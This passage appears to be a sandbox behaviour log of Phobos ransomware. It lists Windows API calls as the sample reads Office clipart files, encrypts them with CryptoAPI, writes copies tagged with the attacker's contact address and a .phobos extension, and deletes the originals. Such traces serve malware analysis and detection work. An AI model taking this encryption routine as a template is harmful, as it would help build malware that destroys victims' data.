office\\root\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0055.620] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.620] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0055.620] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0055.620] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.620] ReadFile (in: hFile=0x340, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xa24, lpOverlapped=0x0) returned 1 [0055.855] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa30, dwBufLen=0xa30 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xa30) returned 1 [0055.855] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xa30, lpOverlapped=0x0) returned 1 [0055.856] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ceb0) returned 1 [0055.856] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.856] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.856] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0055.856] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.856] CryptDestroyKey (hKey=0x10d170) returned 1 [0055.856] CloseHandle (hObject=0x340) returned 1 [0055.856] CloseHandle (hObject=0x320) returned 1 [0055.857] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0055.862] SetEvent (hEvent=0x2e8) returned 1 [0055.863] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.863] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0055.866] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5315) returned 1 [0055.866] CloseHandle (hObject=0x340) returned 1 [0055.866] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 0x220 [0055.867] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.874] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.874] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.874] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.875] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0055.875] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.875] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x14c3, lpOverlapped=0x0) returned 1 [0055.901] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x14d0) returned 1 [0055.901] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x14d0, lpOverlapped=0x0) returned 1 [0055.902] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cf70) returned 1 [0055.902] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.902] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.902] CryptDestroyKey (hKey=0x10cf70) returned 1 [0055.902] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.902] CryptDestroyKey (hKey=0x10caf0) returned 1 [0055.902] CloseHandle (hObject=0x308) returned 1 [0055.902] CloseHandle (hObject=0x31c) returned 1 [0055.904] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00154_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00154_.gif")) returned 1 [0055.905] SetEvent (hEvent=0x2e8) returned 1 [0055.905] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.905] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.905] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=5030) returned 1 [0055.906] CloseHandle (hObject=0x31c) returned 1 [0055.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 0x220 [0055.906] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.906] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.906] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.906] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.909] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0055.909] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.909] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x13a6, lpOverlapped=0x0) returned 1 [0055.914] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13b0, dwBufLen=0x13b0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x13b0) returned 1 [0055.914] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x13b0, lpOverlapped=0x0) returned 1 [0055.914] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cc30) returned 1 [0055.914] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.914] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.914] CryptDestroyKey (hKey=0x10cc30) returned 1 [0055.915] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.915] CryptDestroyKey (hKey=0x10cf70) returned 1 [0055.915] CloseHandle (hObject=0x31c) returned 1 [0055.915] CloseHandle (hObject=0x308) returned 1 [0055.915] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0055.916] SetEvent (hEvent=0x2e8) returned 1 [0055.916] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.917] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1146) returned 1 [0055.917] CloseHandle (hObject=0x308) returned 1 [0055.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 0x220 [0055.917] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.917] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.917] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.918] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0055.918] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.918] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x47a, lpOverlapped=0x0) returned 1 [0055.985] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x480, dwBufLen=0x480 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x480) returned 1 [0055.985] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x480, lpOverlapped=0x0) returned 1 [0055.986] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0055.986] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.986] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.986] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0055.986] WriteFile (in: hFile=0x31c, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.986] CryptDestroyKey (hKey=0x10cf70) returned 1 [0055.986] CloseHandle (hObject=0x308) returned 1 [0055.986] CloseHandle (hObject=0x31c) returned 1 [0055.987] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1 [0055.988] SetEvent (hEvent=0x2e8) returned 1 [0055.988] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0055.988] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.989] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=13254) returned 1 [0055.989] CloseHandle (hObject=0x31c) returned 1 [0055.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0055.989] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0055.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0055.989] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.989] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0055.989] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0055.989] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10caf0) returned 1 [0055.989] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.990] ReadFile (in: hFile=0x31c, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x33c6, lpOverlapped=0x0) returned 1 [0055.995] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x33d0, dwBufLen=0x33d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x33d0) returned 1 [0055.996] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x33d0, lpOverlapped=0x0) returned 1 [0055.997] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d0b0) returned 1 [0055.997] CryptSetKeyParam (hKey=0x10d0b0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0055.997] CryptEncrypt (in: hKey=0x10d0b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0055.997] CryptDestroyKey (hKey=0x10d0b0) returned 1 [0055.997] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0055.997] CryptDestroyKey (hKey=0x10caf0) returned 1 [0055.997] CloseHandle (hObject=0x31c) returned 1 [0055.997] CloseHandle (hObject=0x308) returned 1 [0055.999] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0056.001] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0056.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0056.003] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4894) returned 1 [0056.003] CloseHandle (hObject=0x31c) returned 1 [0056.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0056.003] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0056.004] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.004] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0056.005] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0056.005] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cab0) returned 1 [0056.005] CryptSetKeyParam (hKey=0x10cab0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0056.005] ReadFile (in: hFile=0x2e4, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x131e, lpOverlapped=0x0) returned 1 [0056.009] CryptEncrypt (in: hKey=0x10cab0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1320, dwBufLen=0x1320 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1320) returned 1 [0056.009] WriteFile (in: hFile=0x320, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1320, lpOverlapped=0x0) returned 1 [0056.010] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d170) returned 1 [0056.010] CryptSetKeyParam 